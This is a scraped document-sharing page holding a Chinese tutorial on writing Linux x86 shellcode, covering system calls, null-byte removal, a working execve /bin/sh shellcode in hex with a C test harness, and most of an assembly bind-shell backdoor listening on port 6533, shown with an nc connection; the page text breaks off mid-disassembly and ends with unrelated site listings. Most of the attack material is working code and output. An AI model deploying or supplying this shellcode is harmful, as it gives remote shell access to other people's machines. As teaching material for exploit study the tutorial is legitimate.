![[科普] 深入浅出Liunx Shellcode.doc_第1页](http://file.renrendoc.com/FileRoot1/2020-1/15/0b830d9b-0995-4272-bc66-28a43d854724/0b830d9b-0995-4272-bc66-28a43d8547241.gif)
![[科普] 深入浅出Liunx Shellcode.doc_第2页](http://file.renrendoc.com/FileRoot1/2020-1/15/0b830d9b-0995-4272-bc66-28a43d854724/0b830d9b-0995-4272-bc66-28a43d8547242.gif)
![[科普] 深入浅出Liunx Shellcode.doc_第3页](http://file.renrendoc.com/FileRoot1/2020-1/15/0b830d9b-0995-4272-bc66-28a43d854724/0b830d9b-0995-4272-bc66-28a43d8547243.gif)
![[科普] 深入浅出Liunx Shellcode.doc_第4页](http://file.renrendoc.com/FileRoot1/2020-1/15/0b830d9b-0995-4272-bc66-28a43d854724/0b830d9b-0995-4272-bc66-28a43d8547244.gif)
![[科普] 深入浅出Liunx Shellcode.doc_第5页](http://file.renrendoc.com/FileRoot1/2020-1/15/0b830d9b-0995-4272-bc66-28a43d854724/0b830d9b-0995-4272-bc66-28a43d8547245.gif)
已阅读5页,还剩7页未读, 继续免费阅读
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
科普浅入浅出Liunx Shellcode浅入浅出Liunx Shellcode一:什么是shellcode话说某天某爱国黑客编译了一个Nday溢出利用程序来攻击CNN,输入IP并且enter之后发现目标服务器没有反应,于是拿出sniffer抓包分析.“Oh ,my dog!居然没有带shellcode!”为什么 shellcode对于一个exploit来说这么重要呢?Shellcode到底是什么东西呢?简单的说,Shellcode是一段能够完成某种特定功能的二进制代码。具体完成什么任务是由攻击者决定的,可能是开启一个新的shell或者下载某个特定的程序也或者向攻击者返回一个shell等等。因为shellcode将会直接操作寄存器和一些系统调用,所以对于shellcode的编写基本上是用高级语言编写一段程序然后编译,反汇编从而得到16进制的操作码,当然也可以直接写汇编然后从二进制文件中提取出16进制的操作码。接下来就一起来解开shellcode的神秘面纱吧二:Linux系统调用为什么编写shellcode需要了解系统调用呢?因为系统调用是 用户态和内核态之间的一座桥梁。大多数操作系统都提供了很多应用程序可以访问到的核心函数,shellcode当然也需要调用这些 核心函数。Linux系统提供的核心函数可以方便的实现用来访问文件,执行命令,网络通信等等功能。这些函数就被成为系统调用(System Call)。想知道系统上到底有哪些系统调用可以用,直接查看内核代码即可得到。Linux的系统调用在以下文件中定义:/usr/include/asm-i386 /unistd.h,该文件包含了系统中每个可用的系统调用的定义,内容大概如下:#ifndef _ASM_I386_UNISTD_H_#define _ASM_I386_UNISTD_H_/* This file contains the system call numbers.*/#define _NR_restart_syscall0#define _NR_exit 1#define _NR_fork 2#define _NR_read 3#define _NR_write4#define _NR_open 5#define _NR_close6#define _NR_waitpid7#define _NR_creat8#define _NR_link 9#define _NR_unlink10#define _NR_execve11#define _NR_chdir 12#define _NR_time13#define _NR_mknod 14#define _NR_chmod 15.每个系统调用都有一个名称和相对应的系统调用号组成,由于该文件很长就不一一列出了。知道了linux系统调用是什么样子,下面就来了解下如何使用这些系统调用。启动一个系统调用需要使用int指令,linux系统调用位于中断0x80。当执行一个int 0x80指令后,发出一个软中断,强制内核停止当前工作来处理中断。内核首先检查传入参数的正确性,然后将下面寄存器的值复制到内核的内存空间,接下来参照中断描述符表(IDT)来处理中断。系统调用完成以后,继续执行int指令后的下一条指令。系统调用号是确定一个系统调用的关键数字,在执行int指令之前,它应当被传入EAX寄存器中,确定了一个系统调用号之后就要考虑给该系统调用传递什么参数来完成什么样的功能。存放参数的寄存器有5个,他们是EBX,ECX,EDX,ESI和EDI,这五个寄存器顺序的存放传入的系统调用参数。需要超过6个输入参数的系统调用使用不同的方法把参数传递给系统调用。EBX寄存器用于保护指向输入参数的内存位置的指针,输入参数按照连续的顺序存储。系统调用使用这个指针访问内存位置以便读取参数。为了更好的说明一个系统调用的使用全过程,我们来看一个例子,这个例子中调用了write系统调用来将hello,syscall写入到终端,并最终调用exit系统调用安全退出。代码如下:.section .dataoutput:.ascii hello,syscall!noutput_end:.equ len,output_end - output.section .text.globl _start_start:movl $4,%eax define _NR_write4movl $1,%ebxmovl $output,%ecxmovl $len,%edxint $0x80movl $1,%eaxmovl $0,%ebxint $0x80编译该程序,并查看运行结果:pr0cesspr0cess:$ as -o syscall.o syscall.spr0cesspr0cess:$ ld -o syscall syscall.opr0cesspr0cess:$ ./syscallhello,syscall!可以看到hello,syscall被写入到终端。那么这个过程是怎么实现的呢?首先程序定义了一个字符串hello,syscall!和字符串的长度len,接下来将write系统调用号写入到eax寄存器中,接着write系统调用的第一个参数需要一个文件描述符fd,linux包含3种文件描述符0STDIN:终端设备的标准输入;1STDOUT:终端设备的标准输出;2STDERR:终端设备的标准错误输出。我们这里把fd的值设置为1,就是输入到屏幕上,因此把操作数1赋值给EBX寄存器。write系统调用的第二个参数是要写入字符串的指针,这里需要一个内存地址,因此我们通过movl $output,%ecx把output指向的实际内存地址存放在 ECX寄存器中。write系统调用的第三个参数是写入字符串的长度,按照顺序的参数传递方式,我们把len传递到EDX寄存器中,接着执行int $0x80软中断来执行write系统调用。下一步执行了一个exit(0) 操作,将exit系统调用号1传递给EAX寄存器,将参数0传递给EBX寄存器,然后执行int $0x80来执行系统调用,实现程序的退出。为了更清晰的验证我们的系统调用确实被执行了,可以通过strace来查看二进制代码的运行情况,结果如下:pr0cesspr0cess:$ strace ./syscallexecve(./syscall, ./syscall, /* 34 vars */) = 0write(1, hello,syscall!n, 18hello,syscall!) = 18_exit(0)通过返回的结果我们可以清楚的看到刚才syscall程序都执行了哪些系统调用,以及每个系统调用都传递了什么参数进去。已经了解了系统调用的实现过程,让我们离shellcode更进一步吧。三:第一个shellcode最初当shellcode这个名词来临的时候,目的只是获得一个新的shell,在那时已经是一件很美妙的事情,接下来我们就来实现如何获得一个新的shell来完成我们第一个shellcode的编写。这里需要注意的一个基本的关键的地方就是在shellcode中不能出现/x00也就是NULL字符,当出现NULL字符的时候将会导致shellcode被截断,从而无法完成其应有的功能,这确实是一个让人头疼的问题。那么有什么解决办法呢?我们先来抽取上个例子syscall中的16进制机器码来看看有没有出现/x00截断符:pr0cesspr0cess:$ objdump -d ./syscall./syscall: file format elf32-i386Disassembly of section .text:08048074 :8048074: b8 04 00 00 00mov$0x4,%eax8048079: bb 01 00 00 00mov$0x1,%ebx804807e: b9 98 90 04 08mov$0x8049098,%ecx8048083: ba 12 00 00 00mov$0x12,%edx8048088: cd 80 int$0x80804808a: b8 01 00 00 00mov$0x1,%eax804808f: bb 00 00 00 00mov$0x0,%ebx8048094: cd 80 int$0x80pr0cesspr0cess:$噢!这个SB的程序在8048074: b8 04 00 00 00mov$0x4,%eax这里就已经被00截断了,完全不能用于shellcode,只能作为一般的汇编程序运行。现在来分析下为什么会出现这种情况。现看这两段代码:movl $4,%eaxmovl $1,%ebx这两条指令使用的是32位(4字节)的寄存器EAX和EBX,而我们却只分别赋值了1个字节到寄存器中,所以系统会用NULL字符(00)来填充剩下的字节空间,从而导致shellcode被截断。知道了原因就可以找到很好的解决方法了,一个EAX寄存器是32位,32位寄存器也可以通过16位或者8位的名称引用,我们通过AX寄存器来访问第一个16位的区域(低16位),继续通过对AL的引用EAX寄存器的低8位被使用,AH使用AL后的高8位。EAX寄存器的构成如下:EAX寄存器311570AHALAX在syscall的例子中操作数$4和$1二进制都只占8位,所以只需要把这两个操作数赋值给AL就可以了,这样就避免了使用EAX寄存器时,系统用NULL填充其他空间。我们来修改一下代码看看,把movl $4,%eaxmovl $1,%ebx改为mov $4,%almov $1,%bl再重新编译连接syscall程序,并且查看一下objdump的结果:pr0cesspr0cess:$ ./syscallhello,syscall!pr0cesspr0cess:$ objdump -d ./syscall./syscall: file format elf32-i386Disassembly of section .text:08048074 :8048074: b0 04 mov$0x4,%al8048076: b3 01 mov$0x1,%bl8048078: b9 90 90 04 08mov$0x8049090,%ecx804807d: ba 12 00 00 00mov$0x12,%edx8048082: cd 80 int$0x808048084: b8 01 00 00 00mov$0x1,%eax8048089: bb 00 00 00 00mov$0x0,%ebx804808e: cd 80 int$0x80pr0cesspr0cess:$看到了,已经成功的把 NULL字符给去掉了,同理可以把下面语句都改写一遍,这样就可以使这个程序作为shellcode运行了。下面我们就来编写第一个有实际意义的shellcode,它将打开一个新的shell。当然,这在本地是没有什么意义,可是当它作为一个远程溢出在目标机器上打开shell的时候,那作用可就不能小视了。打开一个新的shell我们需要用到execve系统调用,先来看看man手册里是怎么定义这个函数的:NAME execve - execute programSYNOPSIS #include int execve(const char *filename, char *const argv,char *const envp);可以看到execve系统调用需要3个参数,为了说明怎么使用先来写一个简单的C程序来调用execve函数:#include int main()char *sc2;sc0=/bin/sh;sc1=NULL;execve(sc0,sc,NULL);通过execve执行一个/bin/sh从而获得一个新的shell,编译来看下结果:pr0cesspr0cess:$ gcc -o newshell newshell.cpr0cesspr0cess:$ ./newshell$ exitpr0cesspr0cess:$新shell已经成功的诞生了!为了编写execve的shellcode我们用汇编实现一下以上C程序的功能,代码如下:.section .text.globl _start_start:xorl %eax,%eaxpushl %eaxpushl $0x68732f6epushl $0x69622f2fmovl %esp,%ebxpushl %eaxpushl %ebxmovl %esp,%ecxmovb $0xb,%alint $0x80来解释一下这段代码,首先为了避免mov赋值带来的00,用一个异或操作来把EAX寄存器清空xorl %eax,%eax接着将4字节的NULL压栈pushl %eax将/bin/sh压栈,保持对齐,第一个参数pushl $0x68732f6epushl $0x69622f2f将/bin/sh存放到EBX寄存器,第2个参数movl %esp,%ebx压4字节的NULL,第3个参数,环境变量为 NULLpushl %eax将EBX压栈pushl %ebx把EBX地址存入ECX寄存器movl %esp,%ecx将execve系统调用号11(0xb)压入AL寄存器,消00movb $0xb,%al调用int指令进入中断int $0x80OK,现在来测试一下这个程序是否能给我们带来一个新的shellpr0cesspr0cess:$ as -o exec.o exec.spr0cesspr0cess:$ ld -o exec exec.opr0cesspr0cess:$ ./exec$ exitpr0cesspr0cess:$HOHO成功执行了!接着来提取16进制机器码pr0cesspr0cess:$ objdump -d ./exec./exec: file format elf32-i386Disassembly of section .text:08048054 :8048054: 31 c0 xor%eax,%eax8048056: 50push %eax8048057: 68 6e 2f 73 68push $0x68732f6e804805c: 68 2f 2f 62 69push $0x69622f2f8048061: 89 e3 mov%esp,%ebx8048063: 50push %eax8048064: 53push %ebx8048065: 89 e1 mov%esp,%ecx8048067: b0 0b mov$0xb,%al8048069: cd 80 int$0x80pr0cesspr0cess:$放到一个C程序中来完成整个shellcode的编写测试吧/*linux/x86 execve(/bin/sh/,/bin/sh,NULL) shellcode 23bytes**/pr0cesspr0cess:$ objdump -d execexec: file format elf32-i386Disassembly of section .text:08048054 :8048054: 31 c0 xor%eax,%eax8048056: 50push %eax8048057: 68 6e 2f 73 68push $0x68732f6e804805c: 68 2f 2f 62 69push $0x69622f2f8048061: 89 e3 mov%esp,%ebx8048063: 50push %eax8048064: 53push %ebx8048065: 89 e1 mov%esp,%ecx8048067: b0 0b mov$0xb,%al8048069: cd 80 int$0x80pr0cesspr0cess:$char sc =x31xc0x50x68x6ex2fx73x68x68x2fx2fx62x69x89xe3x50x53x89xe1xb0x0bxcdx80;int main() void(*fp)(void) = (void (*)(void)sc; printf(Length: %dn,strlen(sc); fp();pr0cesspr0cess:$ gcc -o execve execve.cpr0cesspr0cess:$ ./execveLength: 23$ exitpr0cesspr0cess:$成功了!我们编写了第一个linux下的shellcode,并且能顺利工作了。稍微休息一下,下一节带来一个更cool的bindshell功能的shellcode四:绑定端口的shellcode根据上一节所说的,本地打开一个新的shell在面对远程目标时就不是那么有用了,这时我们需要在远程目标上打开一个可交互的shell,这样对我们更有帮助,等于直接获得了一个进入远程系统的后门,这就是端口绑定shellcode。写到这里就需要一些网络编程的知识了,这里不再详细讲解如何进行网络编程,只是大概说一下一个bindshell后门程序的编写过程:首先要建立一个socketserver=socket(2,1,0)建立一个sockaddr_in结构,包含IP和端口信息将端口和IP邦定到socketbind()打开端口监听该socketlisten()当有连接时向客户端返回一个句柄accept()将返回的句柄复制到STDIN,STDOUT,STDERRdup2()调用execve执行/bin/sh看了这些过程可能有些迷茫,下面我给出一个以前我些的bindshell.c后门程序,可以很清晰的看到一个bindshell是如何实现的:/xbind.c通过对一个端口绑定后门C程序的分析已经了解了整个实现过程,为了更方便的提取shellcode我们需要用汇编来改写这个程序。这里一个新的系统调用将被使用,这就是socketcall系统调用,这个系统调用号是102。先来看一下man里面关于这个系统调用的参数信息:NAME socketcall - socket system callsSYNOPSIS int socketcall(int call, unsigned long *args);该系统调用需要两个参数,第一个参数是一个整数值,存放在EBX寄存器中,对于一个bindshell我们只需要用到4个数值,分别是:SYS_SOCKET1SYS_BIND2SYS_LISTEN4SYS_ACCEPT5第二个参数是一个指针,指向一个参数数组,把它存在ECX寄存器中。现在所有准备工作都已经就绪,开始用汇编编写一个bindshell后门吧代码和注释如下:# bindshell.s -bindport on 6533.section .text.global _start_start:清空各寄存器xor %eax,%eaxxor %ebx,%ebxxor %ecx,%ecxsocket(2,1,0)创建一个TCP连接,注意字节序。push %eax压入第3个参数 0push $0x1 压入第2个参数 1push $0x2 压入第1个参数 2mov %esp,%ecx 将ECX里的数组地址作为socketcall系统调用的第2个参数inc %bl bl01,作为socketcall的第一个参数,调用socket函数movb $0x66,%al 调用socketcall,0x66=102int $0x80 中断mov %eax,%esi 将返回句柄保存在ESI中bind()push %edx#EDX压栈作为结束符push $0x8519FF02 0x8519=6533,sin.family=02,FF任意字节填充mov %esp,%ecx将ESP地址赋值给ECXpush $0x10 开始bind的参数,0x10压栈push %ecx 保存地址push %esi 把前面的句柄压栈mov %esp,%ecx 继续把数组地址作为socketcall调用的第2个参数inc %bl bl=1+1=2=SYS_BINDmov $0x66,%al #调用socketcallint $0x80 #中断listen()push %edx #EDX压栈,作为结束符push %esi 句柄压栈,作为listen的参数mov %esp,%ecx 将数组地址设为socketcall的第2个参数mov $0x4,%bl bl=4=SYS_LISTENmov $0x66,%al #执行socketcall系统调用int $0x80 中断#accept()push %edx #参数0push %edx 参数0push %esi 句柄压栈mov %esp,%ecx 将数组设为系统调用第2个参数inc %bl bl=4+1=SYS_ACCEPTmov $0x66,%al #执行系统调用int $0x80 中断dup2()mov %eax,%ebx #将accept返回的句柄复制到EBXxor %ecx,%ecx 清空mov $0x3f,%al dup2系统调用,0x3f=63int $0x80 中断inc %ecx 1mov $0x3f,%alint $0x80inc %ecx 2mov $0x3f,%alint $0x80之前熟悉的execve调用,打开一个新的shellpush %edxpush $0x68732f2fpush $0x6e69622fmov %esp,%ebxpush %edxpush %ebxmov %esp ,%ecxmov $0xb,%alint $0x80呵.现在可以休息一下了,终于完成了这个恶心的程序的编写工作,测试一下是否能正常工作吧pr0cesspr0cess:$ as -o bindshell.o bindshell.spr0cesspr0cess:$ ld -o bindshell bindshell.opr0cesspr0cess:$ ./bindshell再新开一个终端去连接,顺利的话我们应该能在6533端口得到一个shell的pr0cesspr0cess:$ netstat -an |grep 6533tcp00 :653:* LISTENpr0cesspr0cess:$ nc 11 6533uname -aLinux pr0cess 2.6.20-15-generic #2 SMP Sun Apr 15 07:36:31 UTC 2007 i686 GNU/Linuxexitpr0cesspr0cess:$啊哈美妙的shell出现了,程序顺利的完成它的工作,它可以去死了,我们来提取shellcode吧:pr0cesspr0cess:$ objdump -d ./bindshell./bindshell: file format elf32-i386Disassembly of section .text:08048054 :8048054: 31 c0 xor%eax,%eax8048056: 31 db xor%ebx,%ebx8048058: 31 c9 xor%ecx,%ecx804805a: 50push %eax804805b: 6a 01 push $0x1804805d: 6a 02 push $0x2804805f: 89 e1 mov%esp,%ecx8048061: fe c3 inc%bl8048063: b0 66 mov$0x66,%al8048065: cd 80 int$0x808048067: 89 c6 mov%eax,%esi8048069: 52push %edx804806a: 68 02 ff 19 85push $0x8519ff02804806f: 89 e1 mov%esp,%ecx80
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2025年度食品销售渠道保密协议示范文本
- 2025福建厦门市集美区新源小学非在编(顶岗)教师招聘3人笔试备考试题及答案解析
- 2025贵州铜仁市沿河土家族自治县事业单位第二轮(教育类、空岗补缺)引进高层次和急需紧缺人才考察笔试备考题库及答案解析
- 2025云南省玉溪市红塔区林业和草原局公开招聘(6人)笔试备考题库及答案解析
- 2025广东汕尾市储备粮食和物资有限公司招聘人员4人笔试备考题库及答案解析
- 2025河南体育学院招聘高层次人才21人考试备考题库及答案解析
- 2025广东省中医院海南医院招聘工作人员78人笔试备考试题及答案解析
- 2025贵州黔西南州望谟县县城学校考聘教职工434人笔试备考试题及答案解析
- 2025广西南宁市武鸣区中小学校考试招聘编外教师20人笔试备考题库及答案解析
- 2025广西百色西林县教育局公开招聘编外聘用人员1人笔试备考试题及答案解析
- 四年级音标试卷及答案
- 学校食堂运营管理职责与分工
- 2025云南师范大学辅导员考试题库
- BEC商务英语(中级)阅读模拟试卷11(共405题)
- 会计师事务所公司质量控制制度范本
- 语文课堂教学目标设计“四出发”
- 2025《义务教育信息科技课程标准(2022年版)》测试题库及答案(共4套)
- 2025年度建筑劳务木工班组施工合作协议
- 《环境保护法》知识参考试题库200题(含答案)
- 食堂食材配送采购投标方案(技术标)
- 矿业行业智能化矿山建设与运营方案
评论
0/150
提交评论